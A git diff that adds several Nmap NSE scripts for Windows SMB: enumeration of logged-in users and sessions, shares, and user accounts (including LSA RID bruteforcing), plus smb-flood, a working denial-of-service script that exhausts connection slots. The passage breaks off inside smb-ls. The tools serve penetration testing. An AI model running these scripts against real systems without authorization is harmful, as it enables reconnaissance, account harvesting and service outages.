+--@return List of sessions (if status is true) or an an error string (if status is false).
+local function srvsvc_enum_sessions(host)
+ local i
+ local status, smbstate
+ local bind_result, netsessenum_result
+
+ -- Create the SMB session
+ status, smbstate = msrpc.start_smb(host, msrpc.SRVSVC_PATH)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to SRVSVC service
+ status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ -- Call netsessenum
+ status, netsessenum_result = msrpc.srvsvc_netsessenum(smbstate, host.ip)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, netsessenum_result
+ end
+
+ -- Stop the SMB session
+ msrpc.stop_smb(smbstate)
+
+ return true, netsessenum_result['ctr']['array']
+end
+
+---Enumerates the users logged in locally (or through terminal services) by using functions
+-- that access the registry. To perform this check, guest access or higher is required.
+--
+-- The way this works is based on the registry. HKEY_USERS is enumerated, and every key in it
+-- that looks like a SID is converted to a username using the LSA lookup function lsa_lookupsids2().
+--
+--@param host The host object.
+--@return An array of user tables, each with the keys <code>name</code>, <code>domain</code>, and <code>changed_date</code> (representing
+-- when they logged in).
+local function winreg_enum_rids(host)
+ local i, j
+ local elements = {}
+
+ -- Create the SMB session
+ local status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to WINREG service
+ local status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ local status, openhku_result = msrpc.winreg_openhku(smbstate)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, openhku_result
+ end
+
+ -- Loop through the keys under HKEY_USERS and grab the names
+ i = 0
+ repeat
+ local status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], i, "")
+
+ if(status == true) then
+ local status, openkey_result
+
+ local element = {}
+ element['name'] = enumkey_result['name']
+
+ -- To get the time the user logged in, we check the 'Volatile Environment' key
+ -- This can fail with the 'guest' account due to access restrictions
+ local status, openkey_result = msrpc.winreg_openkey(smbstate, openhku_result['handle'], element['name'] .. "\\Volatile Environment")
+ if(status ~= false) then
+ local queryinfokey_result, closekey_result
+
+ -- Query the info about this key. The response will tell us when the user logged into the server.
+ local status, queryinfokey_result = msrpc.winreg_queryinfokey(smbstate, openkey_result['handle'])
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, queryinfokey_result
+ end
+
+ local status, closekey_result = msrpc.winreg_closekey(smbstate, openkey_result['handle'])
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, closekey_result
+ end
+
+ element['changed_date'] = queryinfokey_result['last_changed_date']
+ else
+ -- Getting extra details failed, but we can still handle this
+ element['changed_date'] = "<unknown>"
+ end
+ elements[#elements + 1] = element
+ end
+
+ i = i + 1
+ until status ~= true
+
+ local status, closekey_result = msrpc.winreg_closekey(smbstate, openhku_result['handle'])
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, closekey_result
+ end
+
+ msrpc.stop_smb(smbstate)
+
+ -- Start a new SMB session
+ local status, smbstate = msrpc.start_smb(host, msrpc.LSA_PATH)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to LSA service
+ local status, bind_result = msrpc.bind(smbstate, msrpc.LSA_UUID, msrpc.LSA_VERSION, nil)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ -- Get a policy handle
+ local status, openpolicy2_result = msrpc.lsa_openpolicy2(smbstate, host.ip)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, openpolicy2_result
+ end
+
+ -- Convert the SID to the name of the user
+ local results = {}
+ stdnse.debug3("MSRPC: Found %d SIDs that might be logged in", #elements)
+ for i = 1, #elements, 1 do
+ if(elements[i]['name'] ~= nil) then
+ local sid = elements[i]['name']
+ if(string.find(sid, "^S%-") ~= nil and string.find(sid, "%-%d+$") ~= nil) then
+ -- The rid is the last digits before the end of the string
+ local rid = string.sub(sid, string.find(sid, "%d+$"))
+
+ local status, lookupsids2_result = msrpc.lsa_lookupsids2(smbstate, openpolicy2_result['policy_handle'], {elements[i]['name']})
+
+ if(status == false) then
+ -- It may not succeed, if it doesn't that's ok
+ stdnse.debug3("MSRPC: Lookup failed")
+ else
+ -- Create the result array
+ local result = {}
+ result['changed_date'] = elements[i]['changed_date']
+ result['rid'] = rid
+
+ -- Fill in the result from the response
+ if(lookupsids2_result['names']['names'][1] == nil) then
+ result['name'] = "<unknown>"
+ result['type'] = "<unknown>"
+ result['domain'] = ""
+ else
+ result['name'] = lookupsids2_result['names']['names'][1]['name']
+ result['type'] = lookupsids2_result['names']['names'][1]['sid_type']
+ if(lookupsids2_result['domains'] ~= nil and lookupsids2_result['domains']['domains'] ~= nil and lookupsids2_result['domains']['domains'][1] ~= nil) then
+ result['domain'] = lookupsids2_result['domains']['domains'][1]['name']
+ else
+ result['domain'] = ""
+ end
+ end
+
+ if(result['type'] ~= "SID_NAME_WKN_GRP") then -- Don't show "well known" accounts
+ -- Add it to the results
+ results[#results + 1] = result
+ end
+ end
+ end
+ end
+ end
+
+ -- Close the policy
+ msrpc.lsa_close(smbstate, openpolicy2_result['policy_handle'])
+
+ -- Stop the session
+ msrpc.stop_smb(smbstate)
+
+ return true, results
+end
+
+
+action = function(host)
+
+ local response = {}
+
+ -- Enumerate the logged in users
+ local logged_in = {}
+ local status1, users = winreg_enum_rids(host)
+ if(status1 == false) then
+ logged_in['warning'] = "Couldn't enumerate login sessions: " .. users
+ else
+ logged_in['name'] = "Users logged in"
+ if(#users == 0) then
+ table.insert(response, "<nobody>")
+ else
+ for i = 1, #users, 1 do
+ if(users[i]['name'] ~= nil) then
+ table.insert(logged_in, string.format("%s\\%s since %s", users[i]['domain'], users[i]['name'], users[i]['changed_date']))
+ end
+ end
+ end
+ end
+ table.insert(response, logged_in)
+
+ -- Get the connected sessions
+ local sessions_output = {}
+ local status2, sessions = srvsvc_enum_sessions(host)
+ if(status2 == false) then
+ sessions_output['warning'] = "Couldn't enumerate SMB sessions: " .. sessions
+ else
+ sessions_output['name'] = "Active SMB sessions"
+ if(#sessions == 0) then
+ table.insert(sessions_output, "<none>")
+ else
+ -- Format the result
+ for i = 1, #sessions, 1 do
+ local time = sessions[i]['time']
+ if(time == 0) then
+ time = "[just logged in, it's probably you]"
+ else
+ time = datetime.format_time(time)
+ end
+
+ local idle_time = sessions[i]['idle_time']
+ if(idle_time == 0) then
+ idle_time = "[not idle]"
+ else
+ idle_time = datetime.format_time(idle_time)
+ end
+
+ table.insert(sessions_output, string.format("%s is connected from %s for %s, idle for %s", sessions[i]['user'], sessions[i]['client'], time, idle_time))
+ end
+ end
+ end
+ table.insert(response, sessions_output)
+
+ return stdnse.format_output(true, response)
+end
+
+
+
diff --git a/scripts/smb-enum-shares.nse b/scripts/smb-enum-shares.nse
new file mode 100644
index 0000000..f21dac4
--- /dev/null
+++ b/scripts/smb-enum-shares.nse
@@ -0,0 +1,194 @@
+local smb = require "smb"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Attempts to list shares using the <code>srvsvc.NetShareEnumAll</code> MSRPC function and
+retrieve more information about them using <code>srvsvc.NetShareGetInfo</code>. If access
+to those functions is denied, a list of common share names are checked.
+
+Finding open shares is useful to a penetration tester because there may be private files
+shared, or, if it's writable, it could be a good place to drop a Trojan or to infect a file
+that's already there. Knowing where the share is could make those kinds of tests more useful,
+except that determining where the share is requires administrative privileges already.
+
+Running <code>NetShareEnumAll</code> will work anonymously against Windows 2000, and
+requires a user-level account on any other Windows version. Calling <code>NetShareGetInfo</code>
+requires an administrator account on all versions of Windows up to 2003, as well as Windows Vista
+and Windows 7, if UAC is turned down.
+
+Even if <code>NetShareEnumAll</code> is restricted, attempting to connect to a share will always
+reveal its existence. So, if <code>NetShareEnumAll</code> fails, a pre-generated list of shares,
+based on a large test network, are used. If any of those succeed, they are recorded.
+
+After a list of shares is found, the script attempts to connect to each of them anonymously,
+which divides them into "anonymous", for shares that the NULL user can connect to, or "restricted",
+for shares that require a user account.
+]]
+
+---
+--@usage
+-- nmap --script smb-enum-shares.nse -p445 <host>
+-- sudo nmap -sU -sS --script smb-enum-shares.nse -p U:137,T:139 <host>
+--
+--@output
+-- Host script results:
+-- | smb-enum-shares:
+-- | account_used: WORKGROUP\Administrator
+-- | ADMIN$
+-- | Type: STYPE_DISKTREE_HIDDEN
+-- | Comment: Remote Admin
+-- | Users: 0
+-- | Max Users: <unlimited>
+-- | Path: C:\WINNT
+-- | Anonymous access: <none>
+-- | Current user access: READ/WRITE
+-- | C$
+-- | Type: STYPE_DISKTREE_HIDDEN
+-- | Comment: Default share
+-- | Users: 0
+-- | Max Users: <unlimited>
+-- | Path: C:\
+-- | Anonymous access: <none>
+-- | Current user access: READ
+-- | IPC$
+-- | Type: STYPE_IPC_HIDDEN
+-- | Comment: Remote IPC
+-- | Users: 1
+-- | Max Users: <unlimited>
+-- | Path:
+-- | Anonymous access: READ
+-- |_ Current user access: READ
+--
+-- @xmloutput
+-- <elem key="account_used">WORKGROUP\Administrator</elem>
+-- <table key="ADMIN$">
+-- <elem key="Type">STYPE_DISKTREE_HIDDEN</elem>
+-- <elem key="Comment">Remote Admin</elem>
+-- <elem key="Users">0</elem>
+-- <elem key="Max Users"><unlimited></elem>
+-- <elem key="Path">C:\WINNT</elem>
+-- <elem key="Anonymous access"><none></elem>
+-- <elem key="Current user access">READ/WRITE</elem>
+-- </table>
+-- <table key="C$">
+-- <elem key="Type">STYPE_DISKTREE_HIDDEN</elem>
+-- <elem key="Comment">Default share</elem>
+-- <elem key="Users">0</elem>
+-- <elem key="Max Users"><unlimited></elem>
+-- <elem key="Path">C:\</elem>
+-- <elem key="Anonymous access"><none></elem>
+-- <elem key="Current user access">READ</elem>
+-- </table>
+-- <table key="IPC$">
+-- <elem key="Type">STYPE_IPC_HIDDEN</elem>
+-- <elem key="Comment">Remote IPC</elem>
+-- <elem key="Users">1</elem>
+-- <elem key="Max Users"><unlimited></elem>
+-- <elem key="Path"></elem>
+-- <elem key="Anonymous access">READ</elem>
+-- <elem key="Current user access">READ</elem>
+-- </table>
+
+author = "Ron Bowes"
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery","intrusive"}
+dependencies = {"smb-brute"}
+
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+action = function(host)
+ local status, shares, extra
+ local response = stdnse.output_table()
+
+ -- Get the list of shares
+ status, shares, extra = smb.share_get_list(host)
+ if(status == false) then
+ return stdnse.format_output(false, string.format("Couldn't enumerate shares: %s", shares))
+ end
+
+ if(extra ~= nil and extra ~= '') then
+ response.note = extra
+ end
+
+ -- Find out who the current user is
+ local result, username, domain = smb.get_account(host)
+ if(result == false) then
+ username = "<unknown>"
+ domain = ""
+ end
+ if domain and domain ~= "" then
+ domain = domain .. "\\"
+ end
+ response.account_used = string.format("%s%s", domain, stdnse.string_or_blank(username, '<blank>'))
+
+ if host.registry['smb_shares'] == nil then
+ host.registry['smb_shares'] = {}
+ end
+
+ for i = 1, #shares, 1 do
+ local share = shares[i]
+ local share_output = stdnse.output_table()
+
+ if(type(share['details']) ~= 'table') then
+ share_output['warning'] = string.format("Couldn't get details for share: %s", share['details'])
+ -- A share of 'NT_STATUS_OBJECT_NAME_NOT_FOUND' indicates this isn't a fileshare
+ if(share['user_can_write'] == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
+ share_output["Type"] = "Not a file share"
+ else
+ table.insert(host.registry['smb_shares'], share.name)
+ end
+ else
+ local details = share['details']
+
+ share_output["Type"] = details.sharetype
+ share_output["Comment"] = details.comment
+ share_output["Users"] = details.current_users
+ share_output["Max Users"] = details.max_users
+ share_output["Path"] = details.path
+
+ if (share_output["Type"] == "STYPE_DISKTREE" or
+ share_output["Type"] == "STYPE_DISKTREE_TEMPORARY" or
+ share_output["Type"] == "STYPE_DISKTREE_HIDDEN") then
+ table.insert(host.registry['smb_shares'], share.name)
+ end
+ end
+ -- Print details for a file share
+ if(share['anonymous_can_read'] and share['anonymous_can_write']) then
+ share_output["Anonymous access"] = "READ/WRITE"
+ elseif(share['anonymous_can_read'] and not(share['anonymous_can_write'])) then
+ share_output["Anonymous access"] = "READ"
+ elseif(not(share['anonymous_can_read']) and share['anonymous_can_write']) then
+ share_output["Anonymous access"] = "WRITE"
+ else
+ share_output["Anonymous access"] = "<none>"
+ end
+
+ -- Don't bother printing this if we're already anonymous
+ if(username ~= '') then
+ if(share['user_can_read'] and share['user_can_write']) then
+ share_output["Current user access"] = "READ/WRITE"
+ elseif(share['user_can_read'] and not(share['user_can_write'])) then
+ share_output["Current user access"] = "READ"
+ elseif(not(share['user_can_read']) and share['user_can_write']) then
+ share_output["Current user access"] = "WRITE"
+ else
+ share_output["Current user access"] = "<none>"
+ end
+ end
+
+ response[share.name] = share_output
+ end
+
+ if next(host.registry['smb_shares']) == nil then
+ host.registry['smb_shares'] = nil
+ end
+
+ return response
+end
+
diff --git a/scripts/smb-enum-users.nse b/scripts/smb-enum-users.nse
new file mode 100644
index 0000000..19ba7fb
--- /dev/null
+++ b/scripts/smb-enum-users.nse
@@ -0,0 +1,267 @@
+local msrpc = require "msrpc"
+local nmap = require "nmap"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Attempts to enumerate the users on a remote Windows system, with as much
+information as possible, through two different techniques (both over MSRPC,
+which uses port 445 or 139; see <code>smb.lua</code>). The goal of this script
+is to discover all user accounts that exist on a remote system. This can be
+helpful for administration, by seeing who has an account on a server, or for
+penetration testing or network footprinting, by determining which accounts
+exist on a system.
+
+A penetration tester who is examining servers may wish to determine the
+purpose of a server. By getting a list of who has access to it, the tester
+might get a better idea (if financial people have accounts, it probably
+relates to financial information). Additionally, knowing which accounts
+exist on a system (or on multiple systems) allows the pen-tester to build a
+dictionary of possible usernames for bruteforces, such as a SMB bruteforce
+or a Telnet bruteforce. These accounts may be helpful for other purposes,
+such as using the accounts in Web applications on this or other servers.
+
+From a pen-testers perspective, retrieving the list of users on any
+given server creates endless possibilities.
+
+Users are enumerated in two different ways: using SAMR enumeration or
+LSA bruteforcing. By default, both are used, but they have specific
+advantages and disadvantages. Using both is a great default, but in certain
+circumstances it may be best to give preference to one.
+
+Advantages of using SAMR enumeration:
+* Stealthier (requires one packet/user account, whereas LSA uses at least 10 packets while SAMR uses half that; additionally, LSA makes a lot of noise in the Windows event log (LSA enumeration is the only script I (Ron Bowes) have been called on by the administrator of a box I was testing against).
+* More information is returned (more than just the username).
+* Every account will be found, since they're being enumerated with a function that's designed to enumerate users.
+
+Advantages of using LSA bruteforcing:
+* More accounts are returned (system accounts, groups, and aliases are returned, not just users).
+* Requires a lower-level account to run on Windows XP and higher (a 'guest' account can be used, whereas SAMR enumeration requires a 'user' account; especially useful when only guest access is allowed, or when an account has a blank password (which effectively gives it guest access)).
+
+SAMR enumeration is done with the <code>QueryDisplayInfo</code> function.
+If this succeeds, it will return a detailed list of users, along with descriptions,
+types, and full names. This can be done anonymously against Windows 2000, and
+with a user-level account on other Windows versions (but not with a guest-level account).
+
+To perform this test, the following functions are used:
+* <code>Bind</code>: bind to the SAMR service.
+* <code>Connect4</code>: get a connect_handle.
+* <code>EnumDomains</code>: get a list of the domains.
+* <code>QueryDomain</code>: get the sid for the domain.
+* <code>OpenDomain</code>: get a handle for each domain.
+* <code>QueryDisplayInfo</code>: get the list of users in the domain.
+* <code>Close</code>: Close the domain handle.
+* <code>Close</code>: Close the connect handle.
+The advantage of this technique is that a lot of details are returned, including
+the full name and description; the disadvantage is that it requires a user-level
+account on every system except for Windows 2000. Additionally, it only pulls actual
+user accounts, not groups or aliases.
+
+Regardless of whether this succeeds, a second technique is used to pull
+user accounts, called LSA bruteforcing. LSA bruteforcing can be done anonymously
+against Windows 2000, and requires a guest account or better on other systems.
+It has the advantage of running with less permission, and will also find more
+account types (i.e., groups, aliases, etc.). The disadvantages is that it returns
+less information, and that, because it's a brute-force guess, it's possible to miss
+accounts. It's also extremely noisy.
+
+This isn't a brute-force technique in the common sense, however: it's a brute-forcing of users'
+RIDs. A user's RID is a value (generally 500, 501, or 1000+) that uniquely identifies
+a user on a domain or system. An LSA function is exposed which lets us convert the RID
+(say, 1000) to the username (say, "Ron"). So, the technique will essentially try
+converting 1000 to a name, then 1001, 1002, etc., until we think we're done.
+
+To do this, the script breaks users into groups of RIDs based on the <code>LSA_GROUPSIZE</code>
+constant. All members of this group are checked simultaneously, and the responses recorded.
+When a series of empty groups are found (<code>LSA_MINEMPTY</code> groups, specifically),
+the scan ends. As long as you are getting a few groups with active accounts, the scan will
+continue.
+
+Before attempting this conversion, the SID of the server has to be determined.
+The SID is determined by doing the reverse operation; that is, by converting a name into
+its RID. The name is determined by looking up any name present on the system.
+We try:
+* The computer name and domain name, returned in <code>SMB_COM_NEGOTIATE</code>;
+* An nbstat query to get the server name and the user currently logged in; and
+* Some common names: "administrator", "guest", and "test".
+
+In theory, the computer name should be sufficient for this to always work, and
+it has so far has in my tests, but I included the rest of the names for good measure. It
+doesn't hurt to add more.
+
+The names and details from both of these techniques are merged and displayed.
+If the output is verbose, then extra details are shown. The output is ordered alphabetically.
+
+Credit goes out to the <code>enum.exe</code>, <code>sid2user.exe</code>, and
+<code>user2sid.exe</code> programs for pioneering some of the techniques used
+in this script.
+]]
+
+---
+-- @usage
+-- nmap --script smb-enum-users.nse -p445 <host>
+-- sudo nmap -sU -sS --script smb-enum-users.nse -p U:137,T:139 <host>
+--
+-- @output
+-- Host script results:
+-- | smb-enum-users:
+-- |_ |_ Domain: RON-WIN2K-TEST; Users: Administrator, Guest, IUSR_RON-WIN2K-TEST, IWAM_RON-WIN2K-TEST, test1234, TsInternetUser
+--
+-- Host script results:
+-- | smb-enum-users:
+-- | | RON-WIN2K-TEST\Administrator (RID: 500)
+-- | | | Description: Built-in account for administering the computer/domain
+-- | | |_ Flags: Password does not expire, Normal user account
+-- | | RON-WIN2K-TEST\Guest (RID: 501)
+-- | | | Description: Built-in account for guest access to the computer/domain
+-- | | |_ Flags: Password not required, Password does not expire, Normal user account
+-- | | RON-WIN2K-TEST\IUSR_RON-WIN2K-TEST (RID: 1001)
+-- | | | Full name: Internet Guest Account
+-- | | | Description: Built-in account for anonymous access to Internet Information Services
+-- | | |_ Flags: Password not required, Password does not expire, Normal user account
+-- | | RON-WIN2K-TEST\IWAM_RON-WIN2K-TEST (RID: 1002)
+-- | | | Full name: Launch IIS Process Account
+-- | | | Description: Built-in account for Internet Information Services to start out of process applications
+-- | | |_ Flags: Password not required, Password does not expire, Normal user account
+-- | | RON-WIN2K-TEST\test1234 (RID: 1005)
+-- | | |_ Flags: Normal user account
+-- | | RON-WIN2K-TEST\TsInternetUser (RID: 1000)
+-- | | | Full name: TsInternetUser
+-- | | | Description: This user account is used by Terminal Services.
+-- |_ |_ |_ Flags: Password not required, Password does not expire, Normal user account
+--
+-- @args lsaonly If set, script will only enumerate using an LSA bruteforce (requires less
+-- access than samr). Only set if you know what you're doing, you'll get better results
+-- by using the default options.
+-- @args samronly If set, script will only query a list of users using a SAMR lookup. This is
+-- much quieter than LSA lookups, so enable this if you want stealth. Generally, however,
+-- you'll get better results by using the default options.
+-----------------------------------------------------------------------
+
+author = "Ron Bowes"
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"auth","intrusive"}
+dependencies = {"smb-brute"}
+
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+action = function(host)
+
+ local i, j
+ local samr_status = false
+ local lsa_status = false
+ local samr_result = "Didn't run"
+ local lsa_result = "Didn't run"
+ local names = {}
+ local names_lookup = {}
+ local response = {}
+ local samronly = nmap.registry.args.samronly
+ local lsaonly = nmap.registry.args.lsaonly
+ local do_samr = samronly ~= nil or (samronly == nil and lsaonly == nil)
+ local do_lsa = lsaonly ~= nil or (samronly == nil and lsaonly == nil)
+
+ -- Try enumerating through SAMR. This is the better source of information, if we can get it.
+ if(do_samr) then
+ samr_status, samr_result = msrpc.samr_enum_users(host)
+
+ if(samr_status) then
+ -- Copy the returned array into the names[] table
+ stdnse.debug2("EnumUsers: Received %d names from SAMR", #samr_result)
+ for i = 1, #samr_result, 1 do
+ -- Insert the full info into the names list
+ table.insert(names, samr_result[i])
+ -- Set the names_lookup value to 'true' to avoid duplicates
+ names_lookup[samr_result[i]['name']] = true
+ end
+ end
+ end
+
+ -- Try enumerating through LSA.
+ if(do_lsa) then
+ lsa_status, lsa_result = msrpc.lsa_enum_users(host)
+ if(lsa_status) then
+ -- Copy the returned array into the names[] table
+ stdnse.debug2("EnumUsers: Received %d names from LSA", #lsa_result)
+ for i = 1, #lsa_result, 1 do
+ if(lsa_result[i]['name'] ~= nil) then
+ -- Check if the name already exists
+ if(not(names_lookup[lsa_result[i]['name']])) then
+ table.insert(names, lsa_result[i])
+ end
+ end
+ end
+ end
+ end
+
+ -- Check if both failed
+ if(samr_status == false and lsa_status == false) then
+ if(string.find(lsa_result, 'ACCESS_DENIED')) then
+ return stdnse.format_output(false, "Access denied while trying to enumerate users; except against Windows 2000, Guest or better is typically required")
+ end
+
+ return stdnse.format_output(false, {"Couldn't enumerate users", "SAMR returned " .. samr_result, "LSA returned " .. lsa_result})
+ end
+
+ -- Sort them
+ table.sort(names, function (a, b) return string.lower(a.name) < string.lower(b.name) end)
+
+ -- Break them out by domain
+ local domains = {}
+ for _, name in ipairs(names) do
+ local domain = name['domain']
+
+ -- Make sure the entry in the domains table exists
+ if(not(domains[domain])) then
+ domains[domain] = {}
+ end
+
+ table.insert(domains[domain], name)
+ end
+
+ -- Check if we actually got any names back
+ if(#names == 0) then
+ table.insert(response, "Couldn't find any account names, sorry!")
+ else
+ -- If we're not verbose, just print out the names. Otherwise, print out everything we can
+ if(nmap.verbosity() < 1) then
+ for domain, domain_users in pairs(domains) do
+ -- Make an impromptu list of users
+ local names = {}
+ for _, info in ipairs(domain_users) do
+ table.insert(names, info['name'])
+ end
+
+ -- Add this domain to the response
+ table.insert(response, string.format("Domain: %s; Users: %s", domain, table.concat(names, ", ")))
+ end
+ else
+ for domain, domain_users in pairs(domains) do
+ for _, info in ipairs(domain_users) do
+ local response_part = {}
+ response_part['name'] = string.format("%s\\%s (RID: %d)", domain, info['name'], info['rid'])
+
+ if(info['fullname']) then
+ table.insert(response_part, string.format("Full name: %s", info['fullname']))
+ end
+ if(info['description']) then
+ table.insert(response_part, string.format("Description: %s", info['description']))
+ end
+ if(info['flags']) then
+ table.insert(response_part, string.format("Flags: %s", table.concat(info['flags'], ", ")))
+ end
+
+ table.insert(response, response_part)
+ end
+ end
+ end
+ end
+
+ return stdnse.format_output(true, response)
+end
+
diff --git a/scripts/smb-flood.nse b/scripts/smb-flood.nse
new file mode 100644
index 0000000..94342fc
--- /dev/null
+++ b/scripts/smb-flood.nse
@@ -0,0 +1,146 @@
+local smb = require "smb"
+local stdnse = require "stdnse"
+local string = require "string"
+local nmap = require "nmap"
+local coroutine = require "coroutine"
+local datetime = require "datetime"
+
+description = [[
+Exhausts a remote SMB server's connection limit by by opening as many
+connections as we can. Most implementations of SMB have a hard global
+limit of 11 connections for user accounts and 10 connections for
+anonymous. Once that limit is reached, further connections are
+denied. This script exploits that limit by taking up all the
+connections and holding them.
+
+This works better with a valid user account, because Windows reserves
+one slot for valid users. So, no matter how many anonymous connections
+are taking up spaces, a single valid user can still log in.
+
+This is *not* recommended as a general purpose script, because a) it
+is designed to harm the server and has no useful output, and b) it
+never ends (until timeout).
+]]
+
+---
+-- @usage
+-- nmap --script smb-flood.nse -p445 <host>
+-- sudo nmap -sU -sS --script smb-flood.nse -p U:137,T:139 <host>
+--
+-- @args smb-flood.timelimit The amount of time the script should run.
+-- Default: 30m
+--
+-- @output
+-- Target down 30 times in 1m.
+-- 320 connections made, 11 max concurrent connections.
+-- 10 connections on average required to deny service.
+
+
+author = "Ron Bowes"
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive","dos"}
+dependencies = {"smb-brute"}
+
+local time_limit, arg_error = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. '.timelimit') or '30m')
+
+hostrule = function(host)
+ if not time_limit then
+ stdnse.verbose("Invalid timelimit: %s", arg_error)
+ return false
+ end
+ return smb.get_port(host) ~= nil
+end
+
+local State = {
+ new = function (self, host)
+ local now = nmap.clock()
+ local o = {
+ host = host,
+ start_time = now,
+ end_time = time_limit + now,
+ threads = {},
+ count = 0, -- current number of connections
+ num_dead = 0, -- number of times connect failed
+ max = 0, -- highest number of connections sustained
+ total = 0, -- total number of connections established
+ avg = 0, -- average number of connections required to DoS
+ terminate = false,
+ }
+ o.condvar = nmap.condvar(o)
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ timedout = function (self)
+ return nmap.clock() >= self.end_time
+ end,
+
+ go = function(self)
+ while not self.timedout() do
+ local status, smbstate = smb.start_ex(self.host, true, true)
+ if status then -- Success, spawn a thread to watch this one.
+ self.count = self.count + 1
+ self.total = self.total + 1
+ local co = stdnse.new_thread(self.smb_monitor, self, smbstate)
+ self.threads[co] = true
+ else -- Failed to connect; target dead? sleep.
+ self.num_dead = self.num_dead + 1
+ if self.count > self.max then
+ self.max = self.count
+ end
+ self.avg = self.avg + (self.count - self.avg) / self.num_dead
+ stdnse.debug1("SMB connect failed: %s", smbstate)
+ stdnse.sleep(1)
+ end
+
+ self.reap_threads()
+ end
+
+ -- Timed out. Wait for the threads to finish.
+ self.terminate = true
+ while next(self.threads) do
+ self.condvar("wait")
+ self.reap_threads()
+ end
+ end,
+
+ reap_threads = function(self)
+ for t in pairs(self.threads) do
+ if coroutine.status(t) == "dead" then
+ self.count = self.count - 1
+ self.threads[t] = nil
+ end
+ end
+ end,
+
+ smb_monitor = function(self, smbstate)
+ while not self.terminate do
+ -- Try to read from the connection so that we get notified if it is closed by the server.
+ local status, result = smb.smb_read(smbstate, false)
+ if not status and not string.match(result, "TIMEOUT") then
+ break
+ end
+ end
+ smb.stop(smbstate)
+ self.condvar("signal")
+ end,
+
+ report = function(self)
+ return ("Target down %d times in %s.\n"
+ .. "%d connections made, %d max concurrent connections.\n"
+ .. "%d connections on average required to deny service."):format(
+ self.num_dead, datetime.format_time(self.end_time - self.start_time),
+ self.total, self.max, self.avg)
+ end
+}
+
+action = function(host)
+ local state = State:new(host)
+
+ state.go()
+
+ return state.report()
+end
+
diff --git a/scripts/smb-ls.nse b/scripts/smb-ls.nse
new file mode 100644
index 0000000..478ab71
--- /dev/null
+++ b/scripts/smb-ls.nse
@@ -0,0 +1,218 @@
+local smb = require 'smb'
+local string = require 'string'
+local stringaux = require "stringaux"
+local stdnse = require 'stdnse'
+local ls = require 'ls'
+
+local openssl= stdnse.silent_require 'openssl'
+
+description = [[
+Attempts to retrieve useful information about files shared on SMB volumes.
+The output is intended to resemble the output of the UNIX <code>ls</code> command.
+]]
+
+---
+-- @usage
+-- nmap -p 445 <ip> --script smb-ls --script-args 'share=c$,path=\temp'
+-- nmap -p 445 <ip> --script smb-enum-shares,smb-ls
+--
+-- @args smb-ls.share (or smb-ls.shares) the share (or a colon-separated list
+-- of shares) to connect to (default: use shares found by smb-enum-shares)
+-- @args smb-ls.path the path, relative to the share to list the contents from
+-- (default: root of the share)
+-- @args smb-ls.pattern the search pattern to execute (default: *)
+-- @args smb-ls.checksum download each file and calculate a checksum
+-- (default: false)
+--
+-- @output
+-- Host script results:
+-- | smb-ls:
+-- | Volume \\192.168.56.101\c$\
+-- | SIZE TIME FILENAME
+-- | 0 2007-12-02 00:20:09 AUTOEXEC.BAT
+-- | 0 2007-12-02 00:20:09 CONFIG.SYS
+-- | <DIR> 2007-12-02 00:53:39 Documents and Settings
+-- | <DIR> 2009-09-08 13:26:10 e5a6b742d36facb19c5192852c43
+-- | <DIR> 2008-12-01 02:06:29 Inetpub
+-- | 94720 2007-02-18 00:31:38 msizap.exe
+-- | <DIR> 2007-12-02 00:55:01 Program Files
+-- | <DIR> 2008-12-01 02:05:52 temp
+-- | <DIR> 2011-12-16 14:40:18 usr
+-- | <DIR> 2007-12-02 00:42:40 WINDOWS
+-- | <DIR> 2007-12-02 00:22:38 wmpub
+-- |_
+--
+-- @xmloutput
+-- <table key="volumes">
+-- <table>
+-- <table key="files">
+-- <table>
+-- <elem key="size">0</elem>
+-- <elem key="time">2007-12-02 00:20:09</elem>
+-- <elem key="filename">AUTOEXEC.BAT</elem>
+-- </table>
+-- <table>
+-- <elem key="size">0</elem>
+-- <elem key="time">2007-12-02 00:20:09</elem>
+-- <elem key="filename">CONFIG.SYS</elem>
+-- </table>
+-- <table>
+-- <elem key="size">&lt;DIR&gt;</elem>
+-- <elem key="time">2007-12-02 00:53:39</elem>
+-- <elem key="filename">Documents and Settings</elem>
+-- </table>
+-- <table>
+-- <elem key="size">&lt;DIR&gt;</elem>
+-- <elem key="time">2009-09-08 13:26:10</elem>
+-- <elem key="filename">e5a6b742d36facb19c5192852c43</elem>
+-- </table>
+-- <table>
+-- <elem key="size">&lt;DIR&gt;</elem>
+-- <elem key="time">2008-12-01 02:06:29</elem>
+-- <elem key="filename">Inetpub</elem>
+-- </table>
+-- <table>
+-- <elem key="size">94720</elem>
+-- <elem key="time">2007-02-18 00:31:38</elem>
